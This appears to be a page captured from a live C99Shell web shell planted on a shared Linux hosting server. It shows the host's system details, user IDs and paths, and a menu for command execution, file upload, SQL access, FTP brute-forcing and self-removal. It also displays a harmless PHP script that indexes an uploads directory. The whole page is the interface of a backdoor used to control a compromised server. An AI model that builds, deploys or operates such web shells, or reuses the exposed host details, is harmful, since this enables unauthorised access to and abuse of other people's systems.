!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/home/dh_z2jmpm/   drwx--x---
Free 2069.65 GB of 17882.29 GB (11.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     generate_index.php (1018 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// Generates files.json from the uploads directory structure
$base_dir = __DIR__ . '/../uploads/';
$output_file = __DIR__ . '/../uploads/files.json';

function scan_files($dir, $base = '') {
  $result = [];
  $items = scandir($dir);

  foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;

    $full_path = $dir . DIRECTORY_SEPARATOR . $item;
    $relative_path = ltrim($base . '/' . $item, '/');

    if (is_dir($full_path)) {
      $result = array_merge($result, scan_files($full_path, $relative_path));
    } elseif (is_file($full_path)) {
      $result[] = [
        'name' => $item,
        'path' => $relative_path,
        'size' => filesize($full_path),
        'modified' => date("Y-m-d H:i:s", filemtime($full_path))
      ];
    }
  }

  return $result;
}

// Scan and write output
$files = scan_files($base_dir);
file_put_contents($output_file, json_encode($files, JSON_PRETTY_PRINT));

echo "[Jedi-Sec Remote] files.json generated. Total files: " . count($files) . "\n";
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.1456 ]--